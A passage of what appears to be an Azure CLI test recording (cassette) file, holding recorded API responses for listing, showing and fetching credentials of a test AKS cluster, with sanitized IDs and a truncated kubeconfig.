\\\"osDiskSizeGB\\\"\\\n : 128,\\n \\\"osDiskType\\\": \\\"Managed\\\",\\n \\\"maxPods\\\": 110,\\n \\\"\\\n type\\\": \\\"VirtualMachineScaleSets\\\",\\n \\\"provisioningState\\\": \\\"Succeeded\\\"\\\n ,\\n \\\"orchestratorVersion\\\": \\\"1.16.13\\\",\\n \\\"enableNodePublicIP\\\"\\\n : false,\\n \\\"nodeLabels\\\": {},\\n \\\"mode\\\": \\\"System\\\",\\n \\\"osType\\\"\\\n : \\\"Linux\\\",\\n \\\"nodeImageVersion\\\": \\\"AKSUbuntu-1604-2020.08.19\\\"\\n \\\n \\ }\\n ],\\n \\\"linuxProfile\\\": {\\n \\\"adminUsername\\\": \\\"azureuser\\\"\\\n ,\\n \\\"ssh\\\": {\\n \\\"publicKeys\\\": [\\n {\\n \\\"keyData\\\": \\\"\\\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\\\n \\ test@example.com\\\\n\\\"\\n }\\n ]\\n }\\n },\\n \\\"servicePrincipalProfile\\\"\\\n : {\\n \\\"clientId\\\": \\\"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\\\"\\n },\\n \\\n \\ \\\"addonProfiles\\\": {\\n \\\"kubedashboard\\\": {\\n \\\"enabled\\\": true,\\n\\\n \\ \\\"config\\\": null\\n }\\n },\\n \\\"nodeResourceGroup\\\": \\\"MC_clitest000001_cliakstest000001_westus2\\\"\\\n ,\\n \\\"enableRBAC\\\": true,\\n \\\"networkProfile\\\": {\\n \\\"networkPlugin\\\"\\\n : \\\"kubenet\\\",\\n \\\"loadBalancerSku\\\": \\\"Standard\\\",\\n \\\"loadBalancerProfile\\\"\\\n : {\\n \\\"outboundIPs\\\": {\\n \\\"publicIPs\\\": [\\n {\\n \\\"\\\n id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ]\\n },\\n \\\"effectiveOutboundIPs\\\": [\\n {\\n\\\n \\ \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ],\\n \\\"allocatedOutboundPorts\\\": 0,\\n \\\"idleTimeoutInMinutes\\\"\\\n : 30\\n },\\n \\\"podCidr\\\": \\\"10.244.0.0/16\\\",\\n \\\"serviceCidr\\\": \\\"\\\n 10.0.0.0/16\\\",\\n \\\"dnsServiceIP\\\": \\\"10.0.0.10\\\",\\n \\\"dockerBridgeCidr\\\"\\\n : \\\"172.17.0.1/16\\\",\\n \\\"outboundType\\\": \\\"loadBalancer\\\"\\n },\\n \\\"\\\n maxAgentPools\\\": 10\\n },\\n \\\"sku\\\": {\\n \\\"name\\\": \\\"Basic\\\",\\n \\\"tier\\\"\\\n : \\\"Free\\\"\\n }\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '3031'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:24:50 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks list\n Connection:\n - keep-alive\n ParameterSetName:\n - -g\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters?api-version=2020-09-01\n response:\n body:\n string: \"{\\n \\\"value\\\": [\\n {\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001\\\"\\\n ,\\n \\\"location\\\": \\\"westus2\\\",\\n \\\"name\\\": \\\"cliakstest000001\\\",\\n \\\n \\ \\\"type\\\": \\\"Microsoft.ContainerService/ManagedClusters\\\",\\n \\\"properties\\\"\\\n : {\\n \\\"provisioningState\\\": \\\"Succeeded\\\",\\n \\\"kubernetesVersion\\\"\\\n : \\\"1.16.13\\\",\\n \\\"dnsPrefix\\\": \\\"cliaksdns000004\\\",\\n \\\"fqdn\\\": \\\"\\\n cliaksdns000004-bd1ec6bc.hcp.westus2.azmk8s.io\\\",\\n \\\"agentPoolProfiles\\\"\\\n : [\\n {\\n \\\"name\\\": \\\"nodepool1\\\",\\n \\\"count\\\": 1,\\n \\\n \\ \\\"vmSize\\\": \\\"Standard_DS2_v2\\\",\\n \\\"osDiskSizeGB\\\": 128,\\n \\\n \\ \\\"osDiskType\\\": \\\"Managed\\\",\\n \\\"maxPods\\\": 110,\\n \\\"type\\\"\\\n : \\\"VirtualMachineScaleSets\\\",\\n \\\"provisioningState\\\": \\\"Succeeded\\\"\\\n ,\\n \\\"orchestratorVersion\\\": \\\"1.16.13\\\",\\n \\\"enableNodePublicIP\\\"\\\n : false,\\n \\\"nodeLabels\\\": {},\\n \\\"mode\\\": \\\"System\\\",\\n \\\n \\ \\\"osType\\\": \\\"Linux\\\",\\n \\\"nodeImageVersion\\\": \\\"AKSUbuntu-1604-2020.08.19\\\"\\\n \\n }\\n ],\\n \\\"linuxProfile\\\": {\\n \\\"adminUsername\\\": \\\"\\\n azureuser\\\",\\n \\\"ssh\\\": {\\n \\\"publicKeys\\\": [\\n {\\n \\\n \\ \\\"keyData\\\": \\\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\\\n \\ test@example.com\\\\n\\\"\\n }\\n ]\\n }\\n },\\n \\\"servicePrincipalProfile\\\"\\\n : {\\n \\\"clientId\\\": \\\"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\\\"\\n },\\n\\\n \\ \\\"addonProfiles\\\": {\\n \\\"kubedashboard\\\": {\\n \\\"enabled\\\"\\\n : true,\\n \\\"config\\\": null\\n }\\n },\\n \\\"nodeResourceGroup\\\"\\\n : \\\"MC_clitest000001_cliakstest000001_westus2\\\",\\n \\\"enableRBAC\\\": true,\\n\\\n \\ \\\"networkProfile\\\": {\\n \\\"networkPlugin\\\": \\\"kubenet\\\",\\n \\\n \\ \\\"loadBalancerSku\\\": \\\"Standard\\\",\\n \\\"loadBalancerProfile\\\": {\\n \\\n \\ \\\"outboundIPs\\\": {\\n \\\"publicIPs\\\": [\\n {\\n \\\n \\ \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ]\\n },\\n \\\"effectiveOutboundIPs\\\": [\\n \\\n \\ {\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ],\\n \\\"allocatedOutboundPorts\\\": 0,\\n \\\"idleTimeoutInMinutes\\\"\\\n : 30\\n },\\n \\\"podCidr\\\": \\\"10.244.0.0/16\\\",\\n \\\"serviceCidr\\\"\\\n : \\\"10.0.0.0/16\\\",\\n \\\"dnsServiceIP\\\": \\\"10.0.0.10\\\",\\n \\\"dockerBridgeCidr\\\"\\\n : \\\"172.17.0.1/16\\\",\\n \\\"outboundType\\\": \\\"loadBalancer\\\"\\n },\\n\\\n \\ \\\"maxAgentPools\\\": 10\\n },\\n \\\"sku\\\": {\\n \\\"name\\\": \\\"Basic\\\"\\\n ,\\n \\\"tier\\\": \\\"Free\\\"\\n }\\n }\\n ]\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '3216'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:24:51 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks list\n Connection:\n - keep-alive\n ParameterSetName:\n - -g -o\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters?api-version=2020-09-01\n response:\n body:\n string: \"{\\n \\\"value\\\": [\\n {\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001\\\"\\\n ,\\n \\\"location\\\": \\\"westus2\\\",\\n \\\"name\\\": \\\"cliakstest000001\\\",\\n \\\n \\ \\\"type\\\": \\\"Microsoft.ContainerService/ManagedClusters\\\",\\n \\\"properties\\\"\\\n : {\\n \\\"provisioningState\\\": \\\"Succeeded\\\",\\n \\\"kubernetesVersion\\\"\\\n : \\\"1.16.13\\\",\\n \\\"dnsPrefix\\\": \\\"cliaksdns000004\\\",\\n \\\"fqdn\\\": \\\"\\\n cliaksdns000004-bd1ec6bc.hcp.westus2.azmk8s.io\\\",\\n \\\"agentPoolProfiles\\\"\\\n : [\\n {\\n \\\"name\\\": \\\"nodepool1\\\",\\n \\\"count\\\": 1,\\n \\\n \\ \\\"vmSize\\\": \\\"Standard_DS2_v2\\\",\\n \\\"osDiskSizeGB\\\": 128,\\n \\\n \\ \\\"osDiskType\\\": \\\"Managed\\\",\\n \\\"maxPods\\\": 110,\\n \\\"type\\\"\\\n : \\\"VirtualMachineScaleSets\\\",\\n \\\"provisioningState\\\": \\\"Succeeded\\\"\\\n ,\\n \\\"orchestratorVersion\\\": \\\"1.16.13\\\",\\n \\\"enableNodePublicIP\\\"\\\n : false,\\n \\\"nodeLabels\\\": {},\\n \\\"mode\\\": \\\"System\\\",\\n \\\n \\ \\\"osType\\\": \\\"Linux\\\",\\n \\\"nodeImageVersion\\\": \\\"AKSUbuntu-1604-2020.08.19\\\"\\\n \\n }\\n ],\\n \\\"linuxProfile\\\": {\\n \\\"adminUsername\\\": \\\"\\\n azureuser\\\",\\n \\\"ssh\\\": {\\n \\\"publicKeys\\\": [\\n {\\n \\\n \\ \\\"keyData\\\": \\\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\\\n \\ test@example.com\\\\n\\\"\\n }\\n ]\\n }\\n },\\n \\\"servicePrincipalProfile\\\"\\\n : {\\n \\\"clientId\\\": \\\"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\\\"\\n },\\n\\\n \\ \\\"addonProfiles\\\": {\\n \\\"kubedashboard\\\": {\\n \\\"enabled\\\"\\\n : true,\\n \\\"config\\\": null\\n }\\n },\\n \\\"nodeResourceGroup\\\"\\\n : \\\"MC_clitest000001_cliakstest000001_westus2\\\",\\n \\\"enableRBAC\\\": true,\\n\\\n \\ \\\"networkProfile\\\": {\\n \\\"networkPlugin\\\": \\\"kubenet\\\",\\n \\\n \\ \\\"loadBalancerSku\\\": \\\"Standard\\\",\\n \\\"loadBalancerProfile\\\": {\\n \\\n \\ \\\"outboundIPs\\\": {\\n \\\"publicIPs\\\": [\\n {\\n \\\n \\ \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ]\\n },\\n \\\"effectiveOutboundIPs\\\": [\\n \\\n \\ {\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ],\\n \\\"allocatedOutboundPorts\\\": 0,\\n \\\"idleTimeoutInMinutes\\\"\\\n : 30\\n },\\n \\\"podCidr\\\": \\\"10.244.0.0/16\\\",\\n \\\"serviceCidr\\\"\\\n : \\\"10.0.0.0/16\\\",\\n \\\"dnsServiceIP\\\": \\\"10.0.0.10\\\",\\n \\\"dockerBridgeCidr\\\"\\\n : \\\"172.17.0.1/16\\\",\\n \\\"outboundType\\\": \\\"loadBalancer\\\"\\n },\\n\\\n \\ \\\"maxAgentPools\\\": 10\\n },\\n \\\"sku\\\": {\\n \\\"name\\\": \\\"Basic\\\"\\\n ,\\n \\\"tier\\\": \\\"Free\\\"\\n }\\n }\\n ]\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '3216'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:24:52 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks show\n Connection:\n - keep-alive\n ParameterSetName:\n - -g -n\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001?api-version=2020-09-01\n response:\n body:\n string: \"{\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001\\\"\\\n ,\\n \\\"location\\\": \\\"westus2\\\",\\n \\\"name\\\": \\\"cliakstest000001\\\",\\n \\\"type\\\"\\\n : \\\"Microsoft.ContainerService/ManagedClusters\\\",\\n \\\"properties\\\": {\\n \\\n \\ \\\"provisioningState\\\": \\\"Succeeded\\\",\\n \\\"kubernetesVersion\\\": \\\"1.16.13\\\"\\\n ,\\n \\\"dnsPrefix\\\": \\\"cliaksdns000004\\\",\\n \\\"fqdn\\\": \\\"cliaksdns000004-bd1ec6bc.hcp.westus2.azmk8s.io\\\"\\\n ,\\n \\\"agentPoolProfiles\\\": [\\n {\\n \\\"name\\\": \\\"nodepool1\\\",\\n \\\n \\ \\\"count\\\": 1,\\n \\\"vmSize\\\": \\\"Standard_DS2_v2\\\",\\n \\\"osDiskSizeGB\\\"\\\n : 128,\\n \\\"osDiskType\\\": \\\"Managed\\\",\\n \\\"maxPods\\\": 110,\\n \\\"\\\n type\\\": \\\"VirtualMachineScaleSets\\\",\\n \\\"provisioningState\\\": \\\"Succeeded\\\"\\\n ,\\n \\\"orchestratorVersion\\\": \\\"1.16.13\\\",\\n \\\"enableNodePublicIP\\\"\\\n : false,\\n \\\"nodeLabels\\\": {},\\n \\\"mode\\\": \\\"System\\\",\\n \\\"osType\\\"\\\n : \\\"Linux\\\",\\n \\\"nodeImageVersion\\\": \\\"AKSUbuntu-1604-2020.08.19\\\"\\n \\\n \\ }\\n ],\\n \\\"linuxProfile\\\": {\\n \\\"adminUsername\\\": \\\"azureuser\\\"\\\n ,\\n \\\"ssh\\\": {\\n \\\"publicKeys\\\": [\\n {\\n \\\"keyData\\\": \\\"\\\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\\\n \\ test@example.com\\\\n\\\"\\n }\\n ]\\n }\\n },\\n \\\"servicePrincipalProfile\\\"\\\n : {\\n \\\"clientId\\\": \\\"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\\\"\\n },\\n \\\n \\ \\\"addonProfiles\\\": {\\n \\\"kubedashboard\\\": {\\n \\\"enabled\\\": true,\\n\\\n \\ \\\"config\\\": null\\n }\\n },\\n \\\"nodeResourceGroup\\\": \\\"MC_clitest000001_cliakstest000001_westus2\\\"\\\n ,\\n \\\"enableRBAC\\\": true,\\n \\\"networkProfile\\\": {\\n \\\"networkPlugin\\\"\\\n : \\\"kubenet\\\",\\n \\\"loadBalancerSku\\\": \\\"Standard\\\",\\n \\\"loadBalancerProfile\\\"\\\n : {\\n \\\"outboundIPs\\\": {\\n \\\"publicIPs\\\": [\\n {\\n \\\"\\\n id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ]\\n },\\n \\\"effectiveOutboundIPs\\\": [\\n {\\n\\\n \\ \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ],\\n \\\"allocatedOutboundPorts\\\": 0,\\n \\\"idleTimeoutInMinutes\\\"\\\n : 30\\n },\\n \\\"podCidr\\\": \\\"10.244.0.0/16\\\",\\n \\\"serviceCidr\\\": \\\"\\\n 10.0.0.0/16\\\",\\n \\\"dnsServiceIP\\\": \\\"10.0.0.10\\\",\\n \\\"dockerBridgeCidr\\\"\\\n : \\\"172.17.0.1/16\\\",\\n \\\"outboundType\\\": \\\"loadBalancer\\\"\\n },\\n \\\"\\\n maxAgentPools\\\": 10\\n },\\n \\\"sku\\\": {\\n \\\"name\\\": \\\"Basic\\\",\\n \\\"tier\\\"\\\n : \\\"Free\\\"\\n }\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '3031'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:24:53 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks get-credentials\n Connection:\n - keep-alive\n Content-Length:\n - '0'\n ParameterSetName:\n - -g -n --file\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: POST\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001/listClusterUserCredential?api-version=2020-09-01\n response:\n body:\n string: \"{\\n \\\"kubeconfigs\\\": [\\n {\\n \\\"name\\\": \\\"clusterUser\\\",\\n \\\n \\ \\\"value\\\": \\\"apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUV5akNDQXJLZ0F3SUJBZ0lSQU5ZV1ArN0daeCsvMkF3c2thbEx5aVl3RFFZSktvWklodmNOQVFFTEJRQXcKRFRFTE1Ba0dBMVVFQXhNQ1kyRXdJQmNOTWpBd09URXlNak14TURNeVdoZ1BNakExTURBNU1USXlNekl3TXpKYQpNQTB4Q3pBSkJnTlZCQU1UQW1OaE1JSUNJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBZzhBTUlJQ0NnS0NBZ0VBCnRBZEpZTUtSMHRxcUJ0L1hTSGFvYWJncjladGtNNWE1eTV6Z2xXc1p1YmZlZkY2eFBCVHpuaHRBNDNhZ3pTVjUKczFqbGQxNVdWb3FxQ2VFTFpOYVZiVFJYa0NnWGVndlRWNmtYQ3FrVmEydTlNcHU5T2ZqRUxJT0YrYXY1b1o5aAozeVZETkFtQWJyM3dpdE5JMlBNY2dJdmd5Q2tSeFcwNEJ1MGhEeFJXZVYyYVprQktCeCtqRU82Um9Qa3dkUVVuCnpQSDdvNldWUXVkWEkxa2hwM1ZCZGx4YlJNY0tMazJBbmR3eWEyZWo1Y3VrSmxNOGlZRFNuZXJ5emJkMFNVN0YKN0IweDJDaUNFeGhiZEVQUlZxbXlnU091N2pzRlR3Q0tPcHVTd0VqWWpYem52RkN6c1d3cEtXQXVrMXh3NDE2KwovSktQcGkzTXFIemM5QSs1TkRYOFZuUDlDNnN1WFI4RGlyeFQ2K3N1K3ZuNzZvQ00yVVdFT2FxRmE1TEVvSnYvCnlGVTUzWFZ3WDcxYmhoZ2hqNFpBNW1QbTM4cVQ2SXVSbDBUQjFwMmRzbnRRMWxKSk1zemJIOS9VcnhyZ3BLRmcKcy9yS3dHaTFJdjhQdFZMYzNFUXdGaXZnVk5zRHAwSlRXWENOWjAyVnYyOUsxK3dJcjBmZ0J3bUttd244MzNlego4MWhTWDNpb2xjVnBjVisySlZIMlRra3RIQWtVcU9LVzBTcDl5dTlzbi91enpjdGJ0VlYwbG9WWVFiUG5NYlNVCjMyTzlnRUk2TjdJVkRXSE1aQk5PaHYvWit4QzNYSllnT1NRNDZYZy9tWFhqYXZEcDBnbU1udUI4RjhLaC9TdE8KendEVDR6Z0JZN1lpTGQwVHlLeTExRCtiTjdLMVRnSHY3b0I0UUQ4YXQyOENBd0VBQWFNak1DRXdEZ1lEVlIwUApBUUgvQkFRREFnS2tNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdEUVlKS29aSWh2Y05BUUVMQlFBRGdnSUJBSXpqCmdBTElhUVVWVUVKSHdtN2hkQkF0LzNiVERoQ1N4Um5Tek1wZFMzY1BzTHlCYWVsbnRoOUMxV0h3V1ZVVUgrV1UKaEE0M3BJVlErd0N5dGhWWmY4dHdGdXlWOE1PWUx4OGRiTVVnN29BRE9DN2k4WmV4Y2UzbUp3NG5mYnNCOFo0UAp0Tm5BeDVIZWxMeTZLUFlxVnEyTm1ISS9lZEFvRHZzVm5tVC9VUmlQbllSMER6a3BpdDJ1emxUZ05xdXhIdmE2ClM3Yng5V2dnekY4a2ExZzJ0bUJXSnNrNVo3dEhrbjhvUWplSlJBSWt2MHd1bmJlekdjMklWY1NMTDV2NFM4U2gKOUhHQTkxK1RqczFBdVYrb1ltK3Z3Uk5CbFh5Mmlhd2w2U3AxVkJrZ3ZjTFpiRFZFODdTNEJWUDFHYjVKTHFudApFaEJpNXlmVVRVNS9aOWhiNU1QNUNIbTJhL29IdU1yWksrWTQyb2VTZWJaQnE1Wm54WFkvM3RkeXc0Rk1VNzhtCldWVXV6dytFb0Z5Y3N4VXAwK1lvRXV4L0NSd0hvSzBlbEpzNzRod1Mxc2x6SDhoSnhBRWNzUjE1a1VTSkg5Z3UKc1dGQVRHd1FPMUFmajNkR1I2bUEzZ2RGVmZGbU4zWGttbUhpaFc3eGRzekdaOUlpNjhZSDZxNi9DZ0lBS0ZUSApma2Fuc0RGOEkzV2hROEFUUXkrTU51RHBSa1ZBREtXWHZXQmJEZ0JmOFNLdGNiUnR5U25tWksrUi9FVEViZEx2Ck1CdFN6elJYRmFKYmpjeG9OVGtReHhVdWNrNWhGbld6eHUvc2VsdjBUQVl2cW1nUHJTYjliMHhMOHE0RnU4TjMKc2RDL3NHakV0N21JRDl0TmErK0xyQ1BXbm1rMlJVekhQV2RyTldCeQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
    server: https://cliaksdnsof4dcpf-bd1ec6bc.hcp.westus2.azmk8s.io:443
  name: cliakstest2nhw6s
contexts:
- context:
    cluster: cliakstest2nhw6s
    user: clusterUser_clitestqry2wywubk_cliakstest2nhw6s
  name: cliakstest2nhw6s
current-context: cliakstest2nhw6s
kind: Config
preferences: {}
users:
- name: clusterUser_clitestqry2wywubk_cliakstest2nhw6s
  user:
